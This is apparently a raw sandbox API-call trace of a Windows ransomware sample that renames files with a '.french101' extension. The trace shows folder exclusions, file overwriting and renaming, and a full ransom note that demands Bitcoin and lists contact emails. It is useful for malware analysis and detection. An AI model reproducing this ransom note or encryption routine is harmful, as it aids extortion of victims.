lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0281.600] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.601] GetLastError () returned 0x2 [0281.601] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0281.601] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.601] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.601] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.601] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.601] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0281.601] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.601] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.601] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0281.601] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.601] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.601] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0281.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2ab08, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0281.601] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.602] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0281.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0281.602] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.602] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0281.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0281.602] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.602] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0281.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e40, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0281.602] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.602] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.602] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.602] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.602] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0281.602] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.602] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.602] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0281.602] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.602] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0281.603] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0281.603] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0281.603] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0281.603] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0281.603] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0281.603] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0281.603] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0281.603] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0281.603] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.604] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0281.604] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0281.604] SHGetPathFromIDListW (in: pidl=0x6e47e8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0281.604] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0281.604] IMalloc:Free (This=0x75e4d000, pv=0x6e47e8) [0281.604] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0281.604] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0281.604] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.604] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.604] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.604] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.604] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0281.604] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.604] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.605] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0281.605] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.605] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da290 [0281.605] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.605] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.605] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0281.605] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.605] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.605] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.605] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.605] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.605] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.605] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.605] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.606] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.606] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.606] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.606] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0281.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0281.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0281.606] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0281.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0281.606] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\я" (normalized: "c:\\588bce7c90097ed212\\1046\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.612] WriteFile (in: hFile=0x398, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0281.612] CloseHandle (hObject=0x398) returned 1 [0281.613] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\я" (normalized: "c:\\588bce7c90097ed212\\1046\\я")) returned 1 [0281.614] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da1d0 [0281.614] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0281.614] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0281.614] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0281.614] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf", dwFileAttributes=0x20) returned 1 [0281.614] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.614] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.614] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xe63 [0281.614] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.615] SetFilePointer (in: hFile=0x398, lDistanceToMove=3683, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xe63 [0281.615] WriteFile (in: hFile=0x398, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0281.616] CloseHandle (hObject=0x398) returned 1 [0281.620] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.621] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.621] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xe64 [0281.621] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.621] SetFilePointer (in: hFile=0x398, lDistanceToMove=3683, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe63 [0281.621] SetEndOfFile (hFile=0x398) returned 1 [0281.623] CloseHandle (hObject=0x398) returned 1 [0281.623] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.623] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.623] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe63 [0281.623] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.624] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.624] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.624] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe63 [0281.624] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.624] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.627] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.627] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0281.627] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.627] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.627] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0281.627] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.627] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0281.627] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0281.628] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.628] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0281.628] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.628] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0281.628] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe63 [0281.628] SetFilePointer (in: hFile=0x398, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0281.628] SetFilePointer (in: hFile=0x398, lDistanceToMove=3683, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xe63 [0281.628] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0281.639] WriteFile (in: hFile=0x398, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0281.640] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.640] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.640] CloseHandle (hObject=0x398) returned 1 [0281.677] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\ReAoNvMFVUsZwXTTvw6jB4.french101" (normalized: "c:\\588bce7c90097ed212\\1046\\reaonvmfvuszwxttvw6jb4.french101")) returned 1 [0281.677] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\ReAoNvMFVUsZwXTTvw6jB4.french101" (normalized: "c:\\588bce7c90097ed212\\1046\\reaonvmfvuszwxttvw6jb4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.677] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0281.678] CloseHandle (hObject=0x398) returned 1 [0281.678] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\ReAoNvMFVUsZwXTTvw6jB4.french101", dwFileAttributes=0x80) returned 1 [0281.678] CloseHandle (hObject=0x398) returned 0 [0281.678] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.678] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.678] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.678] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.678] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0281.678] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.678] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.678] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0281.678] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.678] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0281.679] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0281.679] GetLastError () returned 0x2 [0281.679] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1046\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.679] WriteFile (in: hFile=0x398, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0281.680] CloseHandle 